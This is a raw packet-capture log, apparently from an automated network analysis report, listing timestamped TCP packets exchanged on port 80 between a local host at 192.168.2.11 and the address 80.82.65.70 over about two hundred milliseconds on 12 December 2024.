                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.196440935 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.196580887 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.196697950 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.197181940 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.197241068 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.197278023 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.197382927 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.197962999 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.198015928 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.198054075 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.198110104 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.198713064 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.198834896 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.198853970 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.198914051 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.199547052 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.199590921 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.199634075 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.199686050 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.200315952 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.200396061 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.200416088 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.200452089 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.201083899 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.201195955 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.201226950 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.201280117 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.201919079 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.201931000 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.201983929 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.202681065 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.202737093 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.202749014 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.202791929 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.203486919 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.203538895 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.203669071 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.203730106 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.204214096 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.204284906 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.204314947 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.204361916 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.204998970 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.205045938 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.205087900 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.205146074 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.205782890 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.205862045 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.205874920 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.205924034 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.206527948 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.206578970 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.206609011 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.206655025 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.207360029 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.207407951 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.207446098 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.207518101 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.208230019 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.208281040 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.208420992 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.208491087 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.208930969 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.208993912 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.209063053 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.209120035 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.209702969 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.209754944 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.209808111 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.209857941 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.210510969 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.210561037 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.210654974 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.210705042 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.211263895 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.211354971 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.211396933 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.211447001 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.212162018 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.212169886 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.212230921 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.212831020 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.212888002 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.212910891 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.212956905 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.213668108 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.213736057 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.213797092 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.213848114 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.214390039 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.214435101 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.214479923 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.214528084 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.215157032 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.215217113 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.215224981 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.215328932 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.216056108 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.216108084 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.216180086 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.216233969 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.216761112 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.216824055 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.216862917 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.216919899 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.217560053 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.217613935 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.217638016 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.217699051 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.218317986 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.218393087 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.218414068 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.218445063 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.273927927 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.274003983 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.274041891 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.274269104 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.274286985 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.274333954 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.274427891 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.274482965 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.274935961 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.275022984 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.275079012 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.275688887 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.275742054 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.275779009 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.275824070 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.310522079 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.310597897 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.310673952 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.310806990 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.310908079 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.310966015 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.311012983 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.311069965 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.311678886 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.311758041 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.311762094 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.311814070 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.312490940 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.312551975 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.312586069 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.312639952 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.313218117 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.313280106 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.313319921 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.313374996 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.314013004 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.314096928 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.314100981 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.314168930 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.314820051 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.314930916 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.314992905 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.315676928 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.315736055 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.315736055 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.315959930 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.316332102 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.316412926 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.316468954 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.317147970 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.317281008 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.317332029 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.317890882 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.317975998 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.317991018 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.318022013 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.318645000 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.318694115 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.318774939 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.319019079 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.319489002 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.319540977 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.319547892 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.319588900 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.320242882 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.320303917 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.320343971 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.320393085 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.321007967 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.321084023 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.321122885 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.321181059 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.321800947 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.321858883 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.321903944 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.321957111 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.322571993 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.322715044 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.322715998 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.322789907 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.323383093 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.323436022 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.323481083 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.323559046 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.324157953 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.324274063 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.324327946 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.324942112 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.325021029 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.325073957 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.388303995 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.388362885 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.388385057 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.388434887 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.388566017 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.388653040 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.388680935 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.388711929 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.389219046 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.389369965 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.389394999 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.389426947 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.390151024 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.390208960 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.390295982 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.390341997 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.390768051 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.390851021 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.390976906 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.391304016 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.391630888 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.391686916 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.391726971 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.391776085 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.392323017 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.392384052 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.392400980 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.392460108 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.393117905 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.393219948 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.393224955 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.393311977 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.393927097 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.393994093 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.394062042 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.394110918 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.394712925 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.394802094 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.394844055 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.394936085 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.395478964 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.395612001 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.395642042 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.395736933 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.396367073 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.396425962 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.396483898 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.396533012 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.397022963 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.397083998 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.397265911 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.397336960 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.397844076 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.397963047 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.397965908 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.398025990 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.398639917 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.398777962 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.398876905 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.398968935 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.399435997 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.399507046 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.399580956 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.399636030 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.400172949 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.400227070 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.400312901 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.400368929 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.400933027 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.401012897 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.401110888 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:03.401158094 CET4981980192.168.2.1180.82.65.70
